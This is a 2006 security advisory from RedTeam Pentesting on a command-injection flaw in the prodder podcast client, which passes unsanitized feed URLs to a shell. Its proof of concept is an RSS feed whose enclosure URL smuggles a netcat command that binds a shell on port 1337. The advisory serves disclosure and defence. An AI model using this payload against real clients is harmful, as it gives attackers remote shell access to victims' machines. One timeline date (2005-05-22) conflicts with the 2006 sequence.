rt-sa-2006-002.txt

`Advisory: Prodder Remote Arbitrary Command Execution  
  
RedTeam identified a security flaw in prodder which makes it possible  
for a malicious podcast server to execute arbitrary shell commands on  
the victim's client.  
  
  
Details  
=======  
  
Product: Prodder  
Affected Versions: All versions up to prodder-0.4  
Fixed Versions: prodder-0.5  
Vulnerability Type: Remote arbitrary command execution  
Security-Risk: high  
Vendor-URL: http://prodder.sourceforge.net/  
Vendor-Status: informed, fixed  
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-002.txt  
Advisory-Status: public  
CVE: GENERIC-MAP-NOMATCH   
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH  
  
  
Introduction  
============  
  
Prodder is a command-line based Podcast client (or aggregator, receiver,  
doohickey) written in Perl that runs on just about any *n*x system. It  
implements a few very useful features that are lacking in many of the  
existing tools, while remaining simple and light-weight.  
  
(from prodder homepage)  
  
Podcasting is the distribution of multimedia files over the internet.  
Normally, a server is providing an RSS or Atom XML feed describing where  
to get the multimedia files. The client parses the feed and may then  
download the desired files.  
  
  
More Details  
============  
  
When prodder is used to fetch a podcast, prodder will extract the URL of  
the audio-file from the XML-file the server provides. Prodder then uses  
Wget to fetch the file. The source code looks as follows:  
  
[...]  
446 # Actually get the file  
447 my $wget_cmd = "wget -qc -a '$conf{'errorfile'}' "  
448 . "--tries=3 --timeout=20 --random-wait '$enc_url' -P '$outdir'";  
449  
450 # Background the wgets if needed - this will assume  
451 # the downloads dont fail (once they've started)  
452 $wget_cmd .= " --background" if $conf{'background'};  
453   
454   
455   
456 print "Fetching item ($enc_url)... ";  
457 if (! system($wget_cmd))  
[...]  
  
Unfortunately, $enc_url which holds the URL in line 448 is never  
properly sanitized, so it is possible to include arbitrary shell  
commands in the URL which will then be executed using system() (see line  
457).  
  
  
Proof of Concept  
================  
  
A minimal malicious server rss feed may look as follows:  
  
<?xml version="1.0" encoding="UTF-8"?>  
<?xml-stylesheet type="text/xsl"?>  
<rss version="2.0">  
<channel>  
<title>RedTeam Pentesting Example Malicious Server Feed</title>  
  
<item>  
<enclosure url="http://www.example.com/example.mp3'; nc -e /bin/sh -l   
-p 1337 & ';#'"  
length="241734" type="audio/mpeg" />  
</item>  
</channel>  
</rss>  
  
The URL above will open port 1337 via netcat on the victim's computer  
and bind a shell to it. This is just one example of how to exploit the  
vulnerability, as arbitrary commands can be included in the URL, but it  
should illustrate the point.  
  
  
Workaround  
==========  
  
Do not use prodder with untrusted servers.  
  
  
Fix  
===  
  
Upgrade to prodder-0.5 immediately[1].  
  
  
Security Risk  
=============  
  
High, because arbitrary shell commands can be executed on the victim's  
computer with the privileges of prodder (normally the user's  
privileges).  
  
  
History  
=======  
  
2006-05-18 Discovery of the problem  
2006-05-19 Notification of the author  
2006-05-19 Initial response of the author  
2006-05-20 Fixed version of prodder is released  
2005-05-22 Public release of the advisory without CVE  
number because of public release by the  
author. CVE will be appended when available.  
  
  
References  
==========  
  
[1] http://prdownloads.sourceforge.net/prodder/prodder-0.5.tgz?download  
  
  
RedTeam  
=======  
  
RedTeam Pentesting is offering individual penetration tests, short  
pentests, performed by a team of specialised IT-security experts.  
Hereby, security weaknesses in company networks are uncovered and can be  
repaired immediately.  
  
As there are only few experts in this field, RedTeam wants to share its  
knowledge and enhance the public knowledge with research in security  
related areas. The results are made available as public security  
advisories.  
  
More information about RedTeam can be found at  
http://www.redteam-pentesting.de.  
  
--   
RedTeam Pentesting Tel.: +49-(0)241-963 1300  
Dennewartstr. 25-27 Fax : +49-(0)241-963 1304  
52068 Aachen http://www.redteam-pentesting.de  
`